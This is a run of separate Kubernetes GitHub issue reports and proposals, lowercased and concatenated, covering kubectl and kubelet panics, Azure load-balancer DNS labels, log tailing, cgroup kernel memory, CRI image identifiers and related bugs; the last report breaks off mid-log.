client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.7\ , gitcommit:\ dd5e1a2978fd0b97d9b78e1564398aeea7e7fe92\ , gittreestate:\ clean\ , builddate:\ 2018-04-19t00:05:56z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.1\ , gitcommit:\ b1b29978270dc22fecc592ac55d903350454310a\ , gittreestate:\ clean\ , builddate:\ 2018-07-17t18:43:26z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r \r    \r kubectl delete deployment app-a        \r panic: runtime error: invalid memory address or nil pointer dereference\r  signal sigsegv: segmentation violation code=0x1 addr=0x70 pc=0x15b7eaa \r \r goroutine 1  running :\r k8s.io/kubernetes/pkg/kubectl.reaperfor 0x1c542a4, 0xa, 0x17a9d3c, 0xa, 0x0, 0x0, 0x0, 0xc4207934a0, 0x7f6002, 0xbed57e9bbadb941b \r \t/workspace/anago-v1.9.7-beta.0.111+dd5e1a2978fd0b/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/delete.go:91 +0xbda\r k8s.io/kubernetes/pkg/kubectl/cmd/util.  ring1factory .reaper 0xc4205b7380, 0xc42021fb20, 0x2a64900, 0x1a002044b800, 0xb8, 0xb8 \r \t/workspace/anago-v1.9.7-beta.0.111+dd5e1a2978fd0b/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/cmd/util/factory_object_mapping.go:295 +0x151\r k8s.io/kubernetes/pkg/kubectl/cmd/util.  factory .reaper 0xc4205b73b0, 0xc42021fb20, 0xc42044b800, 0x7f9f9cba0458, 0x0, 0x1a77de0 \r \t<autogenerated>:1 +0x47\r k8s.io/kubernetes/pkg/kubectl/cmd.reapresult.func1 0xc42021fea0, 0x0, 0x0, 0x2c13980, 0x1c52e3e \r \t/workspace/anago-v1.9.7-beta.0.111+dd5e1a2978fd0b/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/cmd/delete.go:250 +0xe9\r k8s.io/kubernetes/pkg/kubectl/resource.continueonerrorvisitor.visit.func1 0xc42021fea0, 0x0, 0x0, 0x0, 0x0 \r \t/workspace/anago-v1.9.7-beta.0.111+dd5e1a2978fd0b/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/resource/visitor.go:396 +0x164\r k8s.io/kubernetes/pkg/kubectl/resource.decoratedvisitor.visit.func1 0xc42021fea0, 0x0, 0x0, 0x18, 0xa \r \t/workspace/anago-v1.9.7-beta.0.111+dd5e1a2978fd0b/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/resource/visitor.go:372 +0xe7\r k8s.io/kubernetes/pkg/kubectl/resource.flattenlistvisitor.visit.func1 0xc42021fea0, 0x0, 0x0, 0xc420997440, 0x7f9f9c940510 \r \t/workspace/anago-v1.9.7-beta.0.111+dd5e1a2978fd0b/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/resource/visitor.go:433 +0x4fe\r k8s.io/kubernetes/pkg/kubectl/resource.  info .visit 0xc42021fea0, 0xc420997440, 0x0, 0x4109e7 \r \t/workspace/anago-v1.9.7-beta.0.111+dd5e1a2978fd0b/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/resource/visitor.go:105 +0x42\r k8s.io/kubernetes/pkg/kubectl/resource.visitorlist.visit 0xc4202957f0, 0x1, 0x1, 0xc420997440, 0x1, 0xc420997440 \r \t/workspace/anago-v1.9.7-beta.0.111+dd5e1a2978fd0b/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/resource/visitor.go:234 +0x63\r k8s.io/kubernetes/pkg/kubectl/resource.  visitorlist .visit 0xc4209a1c40, 0xc420997440, 0x7f9f9cba0458, 0x0 \r \t<autogenerated>:1 +0x58\r k8s.io/kubernetes/pkg/kubectl/resource.flattenlistvisitor.visit 0x2a58400, 0xc4209a1c40, 0xc420353140, 0xc420353a00, 0x60000000001, 0xc420353a00 \r \t/workspace/anago-v1.9.7-beta.0.111+dd5e1a2978fd0b/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/resource/visitor.go:428 +0x9e\r k8s.io/kubernetes/pkg/kubectl/resource.  flattenlistvisitor .visit 0xc4209a1c60, 0xc420353a00, 0x28, 0xc42044b800 \r \t<autogenerated>:1 +0x58\r k8s.io/kubernetes/pkg/kubectl/resource.decoratedvisitor.visit 0x2a58380, 0xc4209a1c60, 0xc420295800, 0x2, 0x2, 0xc4209a1cc0, 0xc420295801, 0xc4209a1cc0 \r \t/workspace/anago-v1.9.7-beta.0.111+dd5e1a2978fd0b/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/resource/visitor.go:363 +0x9b\r k8s.io/kubernetes/pkg/kubectl/resource.  decoratedvisitor .visit 0xc420997410, 0xc4209a1cc0, 0xc420295810, 0xc420793b60 \r \t<autogenerated>:1 +0x62\r k8s.io/kubernetes/pkg/kubectl/resource.continueonerrorvisitor.visit 0x2a58280, 0xc420997410, 0xc42021ff80, 0x0, 0x2 \r \t/workspace/anago-v1.9.7-beta.0.111+dd5e1a2978fd0b/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/resource/visitor.go:391 +0xe4\r k8s.io/kubernetes/pkg/kubectl/resource.  continueonerrorvisitor .visit 0xc420295810, 0xc42021ff80, 0x411148, 0x70 \r \t<autogenerated>:1 +0x4f\r k8s.io/kubernetes/pkg/kubectl/resource.  result .visit 0xc420435900, 0xc42021ff80, 0xc42090d4a0, 0x2a77880 \r \t/workspace/anago-v1.9.7-beta.0.111+dd5e1a2978fd0b/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/resource/result.go:98 +0x62\r k8s.io/kubernetes/pkg/kubectl/cmd.reapresult 0xc420435900, 0x2a84680, 0xc4205b73b0, 0x2a57480, 0xc42000c018, 0xc4201f0001, 0x0, 0xffffffffffffffff, 0xc420930000, 0x2a77880, ... \r \t/workspace/anago-v1.9.7-beta.0.111+dd5e1a2978fd0b/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/cmd/delete.go:245 +0x16c\r k8s.io/kubernetes/pkg/kubectl/cmd.  deleteoptions .rundelete 0xc4201e1e40, 0xc4202f0fc0, 0x0 \r \t/workspace/anago-v1.9.7-beta.0.111+dd5e1a2978fd0b/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/cmd/delete.go:235 +0xd2\r k8s.io/kubernetes/pkg/kubectl/cmd.newcmddelete.func1 0xc4202f0fc0, 0xc4201ffb60, 0x2, 0x2 \r \t/workspace/anago-v1.9.7-beta.0.111+dd5e1a2978fd0b/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/cmd/delete.go:142 +0x178\r k8s.io/kubernetes/vendor/github.com/spf13/cobra.  command .execute 0xc4202f0fc0, 0xc4201ff980, 0x2, 0x2, 0xc4202f0fc0, 0xc4201ff980 \r \t/workspace/anago-v1.9.7-beta.0.111+dd5e1a2978fd0b/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/spf13/cobra/command.go:603 +0x234\r k8s.io/kubernetes/vendor/github.com/spf13/cobra.  command .executec 0xc42031dd40, 0x8000102, 0x0, 0xffffffffffffffff \r \t/workspace/anago-v1.9.7-beta.0.111+dd5e1a2978fd0b/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/spf13/cobra/command.go:689 +0x2fe\r k8s.io/kubernetes/vendor/github.com/spf13/cobra.  command .execute 0xc42031dd40, 0xc4205b73b0, 0x2a57440 \r \t/workspace/anago-v1.9.7-beta.0.111+dd5e1a2978fd0b/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/spf13/cobra/command.go:648 +0x2b\r k8s.io/kubernetes/cmd/kubectl/app.run 0x0, 0x0 \r \t/workspace/anago-v1.9.7-beta.0.111+dd5e1a2978fd0b/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kubectl/app/kubectl.go:41 +0xd5\r main.main  \r \t/workspace/anago-v1.9.7-beta.0.111+dd5e1a2978fd0b/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kubectl/kubectl.go:27 +0x26\r \r

is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >  \r \r   what happened  :\r azure will not update the dns label of the public ip, when update the service   only   changing the annotation of the dns label from empty.\r \r \tannotations:\r \r ->\r \t\r \tannotations:\r \t\tservice.beta.kubernetes.io/azure-dns-label-namel: \ to-update\ \r \r   what you expected to happen  :\r it should update the dns label of the assigned public ip\r \r   how to reproduce it  as minimally and precisely as possible   :\r it probably caused when applying function 'getpublicipaddress' in azure_loadbalancer.go.\r this function returns a bool 'existspip' to judge the public ip existence.  when only the annotations changed, the existspip still returns true. then, the reference in _line 553_ and _line 446_ step into this bug.\r \r \tpip, existspip, err := az.getpublicipaddress pipresourcegroup, pipname \r \tif err != nil {\r \t\treturn false, err\r \t}\r \tif !existspip {\r \t\treturn true, nil\r \t}\r \r \r - firstly, in _line 554_, it will make function 'isfrontendipchanged' return false, and then will not run 'ensurepublicip' in _line 691_.\r - secondly, even if 'ensurepublicip' in _line 691_ runs, it will detect the public ip exists and make no update to the dns label in _line 446_.\r \r   environment  :\r - kubernetes version  use  kubectl version  :  c927968\r - cloud provider or hardware configuration:  azure\r

testgrid: https://k8s-testgrid.appspot.com/sig-release-master-upgrade gke-gci-new-gci-master-upgrade-cluster-new\r https://k8s-testgrid.appspot.com/sig-release-master-blocking gke-cos-master-serial\r \r example: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-new-gci-master-upgrade-cluster-new/2362\r \r this seems to be related to  69437\r \r   / \r /cc @ravisantoshgudimetla

what happened  :\r \r kubelet startup error\r \r    \r e0428 09:37:13.276141   26151 runtime.go:69  observed a panic: \ invalid memory address or nil pointer dereference\   runtime error: invalid memory address or nil pointer dereference \r /workspace/anago-v1.14.1-beta.0.44+b7394102d6ef77/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:76\r /workspace/anago-v1.14.1-beta.0.44+b7394102d6ef77/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:65\r /workspace/anago-v1.14.1-beta.0.44+b7394102d6ef77/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:51\r /usr/local/go/src/runtime/panic.go:522\r /workspace/anago-v1.14.1-beta.0.44+b7394102d6ef77/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache/reflector.go:189\r /workspace/anago-v1.14.1-beta.0.44+b7394102d6ef77/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache/reflector.go:214\r /workspace/anago-v1.14.1-beta.0.44+b7394102d6ef77/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache/reflector.go:125\r /workspace/anago-v1.14.1-beta.0.44+b7394102d6ef77/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:152\r /workspace/anago-v1.14.1-beta.0.44+b7394102d6ef77/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:153\r /workspace/anago-v1.14.1-beta.0.44+b7394102d6ef77/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:88\r /workspace/anago-v1.14.1-beta.0.44+b7394102d6ef77/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/client-go/tools/cache/reflector.go:124\r /workspace/anago-v1.14.1-beta.0.44+b7394102d6ef77/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:54\r /workspace/anago-v1.14.1-beta.0.44+b7394102d6ef77/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:71\r /usr/local/go/src/runtime/asm_amd64.s:1337\r    \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    \r   yum install -y kubelet\r   kubelet --version\r kubernetes v1.14.1\r   kubelet --cgroup-driver=systemd --runtime-cgroups=/systemd/system.slice --kubelet-cgroups=/systemd/system.slice --fail-swap-on=false\r    \r \r   anything else we need to know?  :\r \r  kubernetes 1.13.3  does not have this problem.\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r \r  kubernetes v1.14.1 \r \r - os  e.g:  cat /etc/os-release  :\r \r    \r name=\ centos linux\ \r version=\ 7  core \ \r    \r

i'm very afraid that we forget to validate fields over time.  i'm a big fan of testing these things automatically.  idea: make each validation function take a function, which it must call with the name of each each field it considers.  in real binaries this is a no-op function.  then we can have a test that provides a function which uses reflection to map out structs and ensure that every field was validated.  this is half-baked but i wanted to file it before i forgot.

k8s is marking a pod active even so the post script failed.      error syncing pod, skipping: failed to \ startcontainer\  for \ pod-x\  with runcontainererror: \ poststart handler: error executing in docker container: -1\       ! image  https://cloud.githubusercontent.com/assets/191290/14310657/f7e3964a-fb97-11e5-842b-11ea36792fa3.png

when watching events in global namespace   /v1/events?watch=true   no create event is received for new namespaces. subsequent events for resources created in these new namespaces are received correctly.  /cc @buildlackey

how  docker logs  works: -  docker logs --tail=-1 container_id : prints all lines. -  docker logs --tail=1 container_id : prints the last line. -  docker logs --tail=0 container_id : prints no lines.  usually used with  -f  to follow new logs   how  kubectl logs  works: -  kubectl logs --tail=-1 pod_name : prints all lines. -  kubectl logs --tail=1 pod_name : prints the last line. -  kubectl logs --tail=0 pod_name : prints all lines. <-------------- diffierent.  the reason is that the  tail=0  is ignored when converting the parameters https://github.com/kubernetes/kubernetes/blob/master/pkg/conversion/queryparams/convert.go l111.  confirmed with @caesarxuchao.  what is the expected behavior? @smarterclayton  /cc @kubernetes/sig-api-machinery

we see kernel memory cgroup is not setting, which means  default  to  no account  in kubernetes, limit kernel memory will be useful when many containers are running on one machine. new process will be prevented to create when kernel memory usage is too high.\r \r there are description about kernel memory in cgroup doc:\r \r because the \ kmem\  counter is fed to the main user counter, kernel memory can\r never be limited completely independently of user memory. say \ u\  is the user\r limit, and \ k\  the kernel limit. there are three possible ways limits can be\r set:\r \r     u != 0, k = unlimited:\r     this is the standard memcg limitation mechanism already present before kmem\r     accounting. kernel memory is completely ignored.\r \r     u != 0, k < u:\r     kernel memory is a subset of the user memory. this setup is useful in\r     deployments where the total amount of memory per-cgroup is overcommited.\r     overcommiting kernel memory limits is definitely not recommended, since the\r     box can still run out of non-reclaimable memory.\r     in this case, the admin could set up k so that the sum of all groups is\r     never greater than the total memory, and freely set u at the cost of his\r     qos.\r     warning: in the current implementation, memory reclaim will not be\r     triggered for a cgroup when it hits k while staying below u, which makes\r     this setup impractical.\r \r     u != 0, k >= u:\r     since kmem charges will also be fed to the user counter and reclaim will be\r     triggered for the cgroup for both kinds of memory. this setup gives the\r     admin a unified view of memory, and it is also useful for people who just\r     want to track kernel memory usage.\r

cri in its current state mostly passes an undefined image “string” when invoking image-related operations  e.g., pull, status, remove . i think it's time we revist to define/clarify better. here are my thoughts:\r  \r below is a list of terms used for \r 1.   image id  : a canonical, content-addressable image identifier. this corresponds to the image id defined in the oci image spec.\r 2.   pullable reference s   : the syntax of a pullable reference is tied to the distribution method of the images. an image id can map to multiple pullable references. in cri, there are two such types of references  mainly adopted from the docker api :\r   a.  repodigests :  <registry>/<repository>@<manifest digest> . e.g.,  gcr.io/google-containers/nginx@sha256:01b86864da3937bf94571a816f1191c89d2ebd6c641bc692bcb3445b7d8520ef \r   b.  repotags :  <registry>/<repository>:<tag> . e.g.,  gcr.io/google-containers/nginx:1.3 \r 3.   manifest digest  : digest of the manifest file. it can be part of the pullable reference  e.g.,  repodigests  .\r 4.   local reference  : what the container runtime uses to refer to the image on the node. this could be the image id or not.\r  \r for cri, we mainly care about  1  and  2 . i think we should restrict pullable references to pulling, and uses the image id for all other operations.\r -   pullimage  : pulls an image by a pullable reference and returns its id.\r -   removeimage  : removes an image by its id.\r -   imagestatus  : inspects an image by its id and returns information of the image, including the id and a list of pullable references known by the runtime.\r -   resolveimage  : a new rpc call to translate a pullable reference into the image id.\r - the configuration used to create a container should include the id of the image.\r  \r resolveimage will be added to further break down the internal operations of the imageservice and make each call more focused. for example, to create a container, kubelet will need to perform the following calls.\r    call  resolveimage pullableref   to get the image id\r    call  imagestatus imageid   to check if the image exists on the node.\r    call  pullimage pullableref   to pull down the image.\r \r without  resolveimage ,  imagestatus  would need to accept both pullable references and image ids as an input.\r  \r another issue is how we tackle the pullable references. these pullable references are distribution-  and can be runtime-  specific. cri should not need to understand or distinguish pullable references such as  repodigests  and  repotags . unfortunately, kubernetes api reports   repodigests  as  imageid  in the  containerstatuses   https://github.com/kubernetes/kubernetes/pull/34473 . to continue support this, we can choose one of the options below.\r 1. preserve both  repodigests  and  repotags  in cri  w/ renaming .\r 2. add hacks  regex  in kubelet to  guess  which reference is the  repodigests .\r 3. combine both into a  references  field in cri. suggest runtimes to sort pullable references based on representativeness. change dockershim implementation to always return  repodigests  as the first one to be consumed by kubelet.\r  \r i am leaning towards  3  since there is no consensus on image distribution yet, and  3  gives us the most flexibility.\r \r thoughts and suggestions? @kubernetes/sig-node-api-reviews @mrunalp @stevvooe @feiskyer @random-liu @dchen1107 \r \r \r warning: some of the proposed changes will not be backward compatible, but i think it's more important to get the api in a better state, than to ensure backward compatibility right now. others may object though.\r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/. : no\r \r   note:   please file issues for subcomponents under the appropriate repo\r \r | component | repo                                                               |\r | --------- | ------------------------------------------------------------------ |\r | kubectl   |  kubernetes/kubectl  https://github.com/kubernetes/kubectl/issues/new  |\r | kubeadm   |  kubernetes/kubeadm  https://github.com/kubernetes/kubeadm/issues/new  |\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : looked for an issue field by me about this\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  : v1.6.x\r \r \r   environment  :\r -   cloud provider or hardware configuration  : azure\r -   os    e.g. from /etc/os-release : n/a\r -   kernel    e.g.  uname -a  : n/a\r -   install tools  : custom\r -   others  :\r \r \r   what happened  :\r you fail to specify cloud-config flag or you point to a file with missing fields and the components will crash due to panics for nil derefs.\r \r   what you expected to happen  :\r a more graceful crash/warning/error as appropriate.\r \r   how to reproduce it    as minimally and precisely as possible :\r don't specify the config file, or specify it with missing fields.\r \r   anything else we need to know  :\r no    \r

  \r   what happened  : trying to select pods based on which scheduler they are using\r \r   what you expected to happen  : using fieldselector would enable me to defer the filtering to the api server instead of using a local for loop over all pods\r \r   how to reproduce it  as minimally and precisely as possible   :\r    \r $ curl https://kubernetes.default.svc/api/v1/pods?fieldselector=spec.schedulername%3ddefault -k -h 'authorization: bearer redacted'\r {\r   \ kind\ : \ status\ ,\r   \ apiversion\ : \ v1\ ,\r   \ metadata\ : {},\r   \ status\ : \ failure\ ,\r   \ message\ : \ field label not supported: spec.schedulername\ ,\r   \ reason\ : \ badrequest\ ,\r   \ code\ : 400\r }\r    \r \r   anything else we need to know?  :\r \r   environment  : minikube\r    \r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.0\ , gitcommit:\ d3ada0119e776222f11ec7945e6d860061339aad\ , gittreestate:\ clean\ , builddate:\ 2017-06-30t09:50:48z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.4\ , gitcommit:\ d6f433224538d4f9ca2f7ae19b252e6fcb66a3ae\ , gittreestate:\ dirty\ , builddate:\ 2017-06-22t04:31:09z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r in general i would expect fieldselectors to work for all fields. i understand it's a discouraged feature, but there really isn't any other way to do efficient filtering without just recreating the entire spec in the labels. i found other fields that also don't work, but i am most interested in the newly added schedulername because i run a custom  in my clusters.\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r >  \r   what happened  :\r when running  kubelet  on a new vm, i get the following error:\r \r     error: failed to run kubelet: rootdirectory \ /var/lib/kubelet\  does not exist\r \r \r   what you expected to happen  :\r previously, if this root directory did not exist, kubelet would automatically create it with the appropriate permissions.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r     $ git clone https://github.com/kubernetes/kubernetes.git\r     $ cd kubernetes\r     $ git checkout 039f898c07a643d6ef244fcb65daff5a53de41c8\r     $ ./build/run.sh make what=cmd/kubelet\r     $ sudo ./_output/dockerized/bin/linux/amd64/kubelet --fail-swap-on=false\r \r this invocation exits immediately with the above error about  /var/lib/kubelet  not existing.\r \r   anything else we need to know?  :\r i believe this recently-merged pr is the cause: https://github.com/kubernetes/kubernetes/pull/48487\r \r if i revert this pr's commit locally, and repeat the above steps, then  /var/lib/kubelet  gets automatically created when i start up kubelet:\r \r     $ git revert 6c7245d464250278882b59d68a97b0170201d35d\r     $ ./build/run.sh make what=cmd/kubelet\r     $ sudo ./_output/dockerized/bin/linux/amd64/kubelet --fail-swap-on=false\r \r this invocation stays running, and if i check in another window,  /var/lib/kubelet  has automatically been created.\r \r this discrepancy is currently breaking our  kubeadm e2e tests  https://github.com/kubernetes/kubeadm/issues/392 . if the correct answer is that autocreation of the root directory was never supposed to be a supported feature and just happened to work, then we can update that expectation elsewhere to explicitly create the root directory first, but this does seem like a regression.\r \r   environment  :\r - kubernetes version  use  kubectl version  : upstream/master head  at 039f898c07a643d6ef244fcb65daff5a53de41c8 \r - cloud provider or hardware configuration  : the same happens on my local desktop and a gce vm with ubuntu\r - os  e.g. from /etc/os-release : ubuntu 14.04 on my desktop, 16.04 on gce\r - kernel  e.g.  uname -a  : 4.4.0-83-generic on my desktop, 4.4.0-21-generic on gce\r - install tools: building/running directly from the source code using the above steps\r - others:\r \r @kubernetes/sig-node-bugs

test cases: \r -      ingress blocking based on cidr from a given set of pods\r -     test egress blocking based on cidr to a set of pods\r -     consider an using this cidr feature to fix  set owner references in pods owned by prowjobs  3409  https://github.com/kubernetes/test-infra/issues/3409

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r kubernetes should support disk io requests and limits.\r \r \r /cc @kubernetes/sig-node-feature-requests

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r   >  \r \r   what happened  :\r i tried to use https secure connections with authentication for kube-controller-manager but no luck. connection is secured but without authentication, in logs i get \r    \r w0926 13:07:03.339290      44 authentication.go:55  authentication is disabled\r    \r not sure how i can enable authentication, maybe i miss something\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r static pod manifest for kubecontroller manager have this commands for container\r    \r   - command:\r     - kube-controller-manager\r     - --bind-address=0.0.0.0\r     - --horizontal-pod-autoscaler-sync-period=10s\r     - --horizontal-pod-autoscaler-use-rest-clients=true\r     - --node-monitor-grace-period=20s\r     - --port=0\r     - --root-ca-file=/etc/kubernetes/pki/ca.crt\r     - --secure-port=10352\r     - --tls-cert-file=/etc/kubernetes/pki/apiserver.crt\r     - --tls-private-key-file=/etc/kubernetes/pki/apiserver.key\r     - --use-service-account-credentials=true\r     - --address=127.0.0.1\r     - --allocate-node-cidrs=true\r     - --cluster-cidr=10.244.0.0/16\r     - --cluster-signing-cert-file=/etc/kubernetes/pki/ca.crt\r     - --cluster-signing-key-file=/etc/kubernetes/pki/ca.key\r     - --controllers= ,bootstrapsigner,tokencleaner\r     - --kubeconfig=/etc/kubernetes/controller-manager.conf\r     - --leader-elect=true\r     - --node-cidr-mask-size=24\r     - --service-account-private-key-file=/etc/kubernetes/pki/sa.key\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.11.3\r - cloud provider or hardware configuration: digital ocean\r - os  e.g. from /etc/os-release : ubuntu 16.04\r - kernel  e.g.  uname -a  : linux dlukyanhcikov-upgradek8s-dev-01 4.4.0-131-generic  157-ubuntu smp thu jul 12 15:51:36 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools: ansible\r - others: static pods are generated thru kubeadm using masterconfiguration config file\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r the read only sig-storage tests validate that pods can come up when readonly is set.  but it doesn't actually validate that the container cannot write to the volume.\r \r   what you expected to happen  :\r tests should validate that the container cannot write to readonly volumes.\r \r <!-- do not edit below this line -->\r 

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r this is a place holder to track conformance coverage on the topic.\r this issue should remain open until all related work is accomplished in the k/k repo\r this issue will contain analysis of the coverage. existing tests and additional tests requested with links to those issues/pr's\r \r   why is this needed  :\r specifically address cni networking, identify tests that tests pod-pod communication\r \r /area conformance\r

what is the recommended approach for upgrading the kubernetes system without downtime?  for instance, we have two etcd hosts, a kubernetes master host, and n kubernetes node hosts.  when we step through each host and restart the relevant services, we see a lot of noise in the error logs, eg:    when restarting services on an etcd host:         kubelet  e1020 19:47:32.929452   17262 reflector.go:183  watch of  api.node ended with: eof  kubelet  e1020 19:47:57.291241    1851 reflector.go:183  watch of  api.node ended with: eof  heapster  e1022 21:30:43.105975   19565 reflector.go:183  watch of  api.node ended with: eof  kube-scheduler  e1022 21:30:43.105612   19483 reflector.go:183  watch of  api.node ended with: eof  kube-scheduler  e1022 21:31:01.455430   19483 reflector.go:183  watch of  api.service ended with: eof  kube-scheduler  e1022 21:31:01.455813   19483 reflector.go:183  watch of  api.pod ended with: eof  kubelet  e1022 21:31:01.454142   28311 reflector.go:183  watch of  api.pod ended with: eof  kubelet  e1022 21:31:01.459182   28311 reflector.go:183  watch of  api.service ended with: eof  kubelet  e1020 19:48:15.638076    1851 reflector.go:183  watch of  api.pod ended with: eof  kubelet  e1020 19:48:15.638528    1851 reflector.go:183  watch of  api.service ended with: eof  kube-apiserver  e1022 21:31:01.453302   19307 reflector.go:183  watch of  api.namespace ended with: eof  kube-apiserver  e1022 21:31:01.458767   19307 reflector.go:183  watch of  api.namespace ended with: eof  kubelet  e1020 19:47:51.275654   17262 reflector.go:183  watch of  api.pod ended with: eof  kubelet  e1020 19:47:51.277665   17262 reflector.go:183  watch of  api.service ended with: eof        when restarting services on kubernetes master host:         kubelet  e1020 19:49:45.781736   22284 reflector.go:183  watch of  api.node ended with: very short watch  kubelet  e1020 19:49:45.781936   22284 reflector.go:165  failed to watch  api.pod: get https://10.0.0.2:6443/api/v1/watch/pods?fieldselector=spec.nodename%3d10.0.0.3&resourceversion=2932158: dial tcp 10.0.0.2:6443: connection refused  kubelet  e1020 19:49:45.781963   22284 reflector.go:183  watch of  api.service ended with: very short watch  kubelet  e1020 19:49:46.786014   22284 reflector.go:136  failed to list  api.service: get https://10.0.0.2:6443/api/v1/services: dial tcp 10.0.0.2:6443: connection refused  kubelet  e1020 19:49:46.786156   22284 reflector.go:136  failed to list  api.node: get https://10.0.0.2:6443/api/v1/nodes?fieldselector=metadata.name%3d10.0.0.3: dial tcp 10.0.0.2:6443: connection refused  kubelet  e1020 19:50:10.142975    4936 reflector.go:183  watch of  api.service ended with: very short watch  kubelet  e1020 19:50:10.143154    4936 reflector.go:165  failed to watch  api.node: get https://10.0.0.2:6443/api/v1/watch/nodes?fieldselector=metadata.name%3d10.0.0.7&resourceversion=2932162: dial tcp 10.0.0.2:6443: connection refused  kubelet  e1020 19:50:10.143185    4936 